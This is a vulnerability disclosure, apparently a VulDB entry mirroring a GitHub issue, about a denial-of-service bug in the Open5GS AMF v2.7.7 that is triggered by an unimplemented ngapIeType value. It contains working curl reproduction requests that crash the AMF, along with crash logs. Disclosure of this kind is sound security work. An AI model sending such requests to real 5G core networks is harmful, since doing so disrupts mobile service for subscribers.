Enviar #891892: Open5GS AMF v2.7.7 Denial of Service

Open5GS Release, Revision, or Tag
v2.7.7

Description
AMF aborts when it receives a valid multipart POST /namf-comm/v1/ue-contexts/{supi}/n1-n2-messages request for a live UE and PDU session, where n2InfoContainer.smInfo.n2InfoContent.ngapIeType is set to a legal OpenAPI enum value that the handler does not implement, such as HANDOVER_CMD.

The OpenAPI parser accepts HANDOVER_CMD and stores it in
ngapIeType, but amf_namf_comm_handle_n1_n2_message_transfer() only handles:

PDU_RES_SETUP_REQ
PDU_RES_MOD_REQ
PDU_RES_REL_CMD
NULL
Any other accepted enum falls into the default branch:

ogs_error("Not implemented ngapIeType[%d]", ngapIeType);
ogs_assert_if_reached();
at ../src/amf/namf-handler.c:493-494, which fatally aborts the AMF process.

This is distinct from the already documented namf-comm /transfer and
/transfer-update issues in report/amf/: it is a different route, different
state requirement, and different crash site.

Root Cause
Entry route:
POST /namf-comm/v1/ue-contexts/{supi}/n1-n2-messages
Crash site:
../src/amf/namf-handler.c:493-494
Root cause family:
accepted enum value reaches an unimplemented fatal default branch
Controlling field:
N1N2MessageTransferReqData.n2InfoContainer.smInfo.n2InfoContent.ngapIeType
Steps to Reproduce
Start the Open5GS Docker deployment and ensure AMF SBI is reachable. In my
live setup the AMF endpoint was http://10.33.33.9.

Register a real UE and establish a PDU session so the target route has a
live SUPI and PSI. In my live setup the UERANSIM UE container
smf-audit-ue registered as:

SUPI: imsi-001011234567891
PSI: 1
The UE log showed:

[2026-04-11 16:01:40.310] Initial Registration is successful
[2026-04-11 16:01:40.551] PDU Session establishment is successful PSI[1]
Control experiment: send the same multipart request shape, but use the
implemented ngapIeType PDU_RES_SETUP_REQ:
payload=$(printf '%b' \
'--BOUNDARY\r\nContent-Type: application/json\r\n\r\n{"pduSessionId":1,"n2InfoContainer":{"n2InformationClass":"SM","smInfo":{"pduSessionId":1,"n2InfoContent":{"ngapIeType":"PDU_RES_SETUP_REQ","ngapData":{"contentId":"n2"}}}}}\r\n--BOUNDARY\r\nContent-Type: application/vnd.3gpp.ngap\r\nContent-Id: n2\r\n\r\nAAAA\r\n--BOUNDARY--\r\n')

curl --http2-prior-knowledge -m 8 -sS -i \
-X POST http://10.33.33.9/namf-comm/v1/ue-contexts/imsi-001011234567891/n1-n2-messages \
-H 'content-type: multipart/related; boundary=BOUNDARY; type=application/json' \
--data-binary "$payload"
In my live run, AMF stayed up and returned a normal non-crashing 200:

HTTP/2 200
{"cause":"N1_N2_TRANSFER_INITIATED"}
Malicious experiment: change only ngapIeType from PDU_RES_SETUP_REQ to
HANDOVER_CMD and resend:
payload=$(printf '%b' \
'--BOUNDARY\r\nContent-Type: application/json\r\n\r\n{"pduSessionId":1,"n2InfoContainer":{"n2InformationClass":"SM","smInfo":{"pduSessionId":1,"n2InfoContent":{"ngapIeType":"HANDOVER_CMD","ngapData":{"contentId":"n2"}}}}}\r\n--BOUNDARY\r\nContent-Type: application/vnd.3gpp.ngap\r\nContent-Id: n2\r\n\r\nAAAA\r\n--BOUNDARY--\r\n')

curl --http2-prior-knowledge -m 8 -sS -i \
-X POST http://10.33.33.9/namf-comm/v1/ue-contexts/imsi-001011234567891/n1-n2-messages \
-H 'content-type: multipart/related; boundary=BOUNDARY; type=application/json' \
--data-binary "$payload"
Inspect the AMF container state and logs:
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' amf
docker logs --since 2026-04-11T16:00:40Z amf
Logs
04/12 14:21:08.399: [sbi] INFO: Setup NF EndPoint(addr) [10.33.33.10:80] (../lib/sbi/context.c:2111)
04/12 14:21:08.399: [sbi] INFO: [npcf-policyauthorization] NFService associated [5ac629fc-3644-41f1-b7b4-21a7b4c43293] (../lib/sbi/context.c:2109)
04/12 14:21:08.399: [sbi] INFO: Setup NF EndPoint(fqdn) [pcf.open5gs.org:0] (../lib/sbi/context.c:2111)
04/12 14:21:08.399: [sbi] INFO: Setup NF EndPoint(addr) [10.33.33.10:80] (../lib/sbi/context.c:2111)
04/12 14:21:08.492: [amf] INFO: gNB-N2 accepted[10.33.33.12]:59852 in ng-path module (../src/amf/ngap-sctp.c:113)
04/12 14:21:08.492: [amf] INFO: gNB-N2 accepted[10.33.33.12] in master_sm module (../src/amf/amf-sm.c:953)
04/12 14:21:08.502: [amf] INFO: [Added] Number of gNBs is now 1 (../src/amf/context.c:1277)
04/12 14:21:08.502: [amf] INFO: gNB-N2[10.33.33.12] max_num_of_ostreams : 10 (../src/amf/amf-sm.c:1000)
04/12 14:21:09.489: [amf] INFO: InitialUEMessage (../src/amf/ngap-handler.c:461)
04/12 14:21:09.489: [amf] INFO: [Added] Number of gNB-UEs is now 1 (../src/amf/context.c:2777)
04/12 14:21:09.489: [amf] INFO: RAN_UE_NGAP_ID[1] AMF_UE_NGAP_ID[1] TAC[1] CellID[0x10] (../src/amf/ngap-handler.c:622)
04/12 14:21:09.489: [amf] INFO: [suci-0-001-01-0000-0-0-1234567891] Unknown UE by SUCI (../src/amf/context.c:1912)
04/12 14:21:09.489: [amf] INFO: [Added] Number of AMF-UEs is now 1 (../src/amf/context.c:1688)
04/12 14:21:09.489: [gmm] INFO: Registration request (../src/amf/gmm-sm.c:1670)
04/12 14:21:09.489: [gmm] INFO: [suci-0-001-01-0000-0-0-1234567891] SUCI (../src/amf/gmm-handler.c:183)
04/12 14:21:09.490: [sbi] INFO: [454c6e9c-3644-41f1-a93f-e1505117bc41] Setup NF Instance [type:AUSF] (../lib/sbi/path.c:307)
04/12 14:21:09.504: [amf] INFO: Setup NF EndPoint(fqdn) [ausf.open5gs.org:0] (../src/amf/nausf-handler.c:130)
04/12 14:21:09.504: [amf] INFO: Setup NF EndPoint(addr) [10.33.33.4:80] (../src/amf/nausf-handler.c:130)
04/12 14:21:09.511: [sbi] INFO: [4568f3be-3644-41f1-bff0-3b335fd843b5] Setup NF Instance [type:UDM] (../lib/sbi/path.c:307)
04/12 14:21:09.513: [sbi] INFO: [4568f3be-3644-41f1-bff0-3b335fd843b5] Setup NF Instance [type:UDM] (../lib/sbi/path.c:307)
04/12 14:21:09.517: [amf] INFO: Setup NF EndPoint(fqdn) [udm.open5gs.org:0] (../src/amf/nudm-handler.c:361)
04/12 14:21:09.517: [amf] INFO: Setup NF EndPoint(addr) [10.33.33.5:80] (../src/amf/nudm-handler.c:361)
04/12 14:21:09.517: [sbi] INFO: [5ac5b314-3644-41f1-b7b4-21a7b4c43293] Setup NF Instance [type:PCF] (../lib/sbi/path.c:307)
04/12 14:21:09.529: [amf] INFO: Setup NF EndPoint(fqdn) [pcf.open5gs.org:0] (../src/amf/npcf-handler.c:143)
04/12 14:21:09.529: [amf] INFO: Setup NF EndPoint(addr) [10.33.33.10:80] (../src/amf/npcf-handler.c:143)
04/12 14:21:09.736: [gmm] INFO: [imsi-001011234567891] Registration complete (../src/amf/gmm-sm.c:3146)
04/12 14:21:09.736: [amf] INFO: [imsi-001011234567891] Configuration update command (../src/amf/nas-path.c:609)
04/12 14:21:09.736: [gmm] INFO: UTC [2026-04-12T14:21:09] Timezone[0]/DST[0] (../src/amf/gmm-build.c:551)
04/12 14:21:09.736: [gmm] INFO: LOCAL [2026-04-12T14:21:09] Timezone[0]/DST[0] (../src/amf/gmm-build.c:556)
04/12 14:21:09.736: [amf] INFO: [Added] Number of AMF-Sessions is now 1 (../src/amf/context.c:2798)
04/12 14:21:09.736: [gmm] INFO: UE SUPI[imsi-001011234567891] DNN[internet] LBO[0] S_NSSAI[SST:1 SD:0x1] smContextRef[NULL] smContextResourceURI[NULL] (../src/amf/gmm-handler.c:1419)
04/12 14:21:09.736: [gmm] INFO: V-SMF Instance [45a89546-3644-41f1-bcd4-3da7206b6e6f](LIST) (../src/amf/gmm-handler.c:1496)
04/12 14:21:09.736: [gmm] INFO: [45a89546-3644-41f1-bcd4-3da7206b6e6f] Setup NF Instance [type:SMF] (../src/amf/gmm-handler.c:1498)
04/12 14:21:09.736: [gmm] INFO: V-SMF Instance [45a89546-3644-41f1-bcd4-3da7206b6e6f] (../src/amf/gmm-handler.c:1508)
04/12 14:21:09.736: [gmm] INFO: V-SMF discovered in Non-Roaming or LBO-Roaming[0] (../src/amf/gmm-handler.c:1577)
04/12 14:21:09.736: [gmm] INFO: nsmf_pdusession [1:0x5650b3154310:(nil)] (../src/amf/gmm-handler.c:1617)
04/12 14:21:09.741: [amf] INFO: Setup NF EndPoint(fqdn) [smf.open5gs.org:0] (../src/amf/nsmf-handler.c:140)
04/12 14:21:09.741: [amf] INFO: Setup NF EndPoint(addr) [10.33.33.6:80] (../src/amf/nsmf-handler.c:140)
04/12 14:21:09.749: [amf] INFO: [imsi-001011234567891:1:11][0:0:NULL] /nsmf-pdusession/v1/sm-contexts/{smContextRef}/modify (../src/amf/nsmf-handler.c:954)
04/12 14:21:26.122: [amf] ERROR: No PDUSessionResourceList (../src/amf/ngap-handler.c:2200)
04/12 14:21:41.123: [amf] ERROR: Not implemented ngapIeType[4] (../src/amf/namf-handler.c:493)
04/12 14:21:41.123: [amf] FATAL: amf_namf_comm_handle_n1_n2_message_transfer: should not be reached. (../src/amf/namf-handler.c:494)
04/12 14:21:41.126: [core] FATAL: backtrace() returned 8 addresses (../lib/core/ogs-abort.c:37)
open5gs-amfd(+0x6cb29) [0x5650b1c95b29]
open5gs-amfd(+0x4ae19) [0x5650b1c73e19]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7f05cf470abc]
open5gs-amfd(+0xba4d) [0x5650b1c34a4d]
/usr/local/lib/libogscore.so.2(+0x12b4f) [0x7f05cf460b4f]
/lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7f05ce618ac3]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7f05ce6a9a84]
Expected behaviour
AMF should reject unsupported or unimplemented ngapIeType values with a
normal error response instead of aborting.

Observed Behaviour
A single authenticated-but-standard-compliant multipart request using an
accepted ngapIeType enum crashes the AMF process with exit code 134.

eNodeB/gNodeB
UERANSIM gNB v3.2.7

UE Models and versions
UERANSIM

• Fuente: ⚠️ https://github.com/open5gs/open5gs/issues/4396
• Usuario: ZiyuLin (UID 93568)
• Sumisión: 2026-07-15 15:32 (hace 2 meses)
• Moderación: 2026-08-30 08:10 (2 months later)
• Estado: Aceptado
• Entrada de VulDB: 397084 [Open5GS hasta 2.7.7 N1-N2 Message src/amf/namf-handler.c amf_namf_comm_handle_n1_n2_message_transfer denegación de servicio]
• Puntos: 20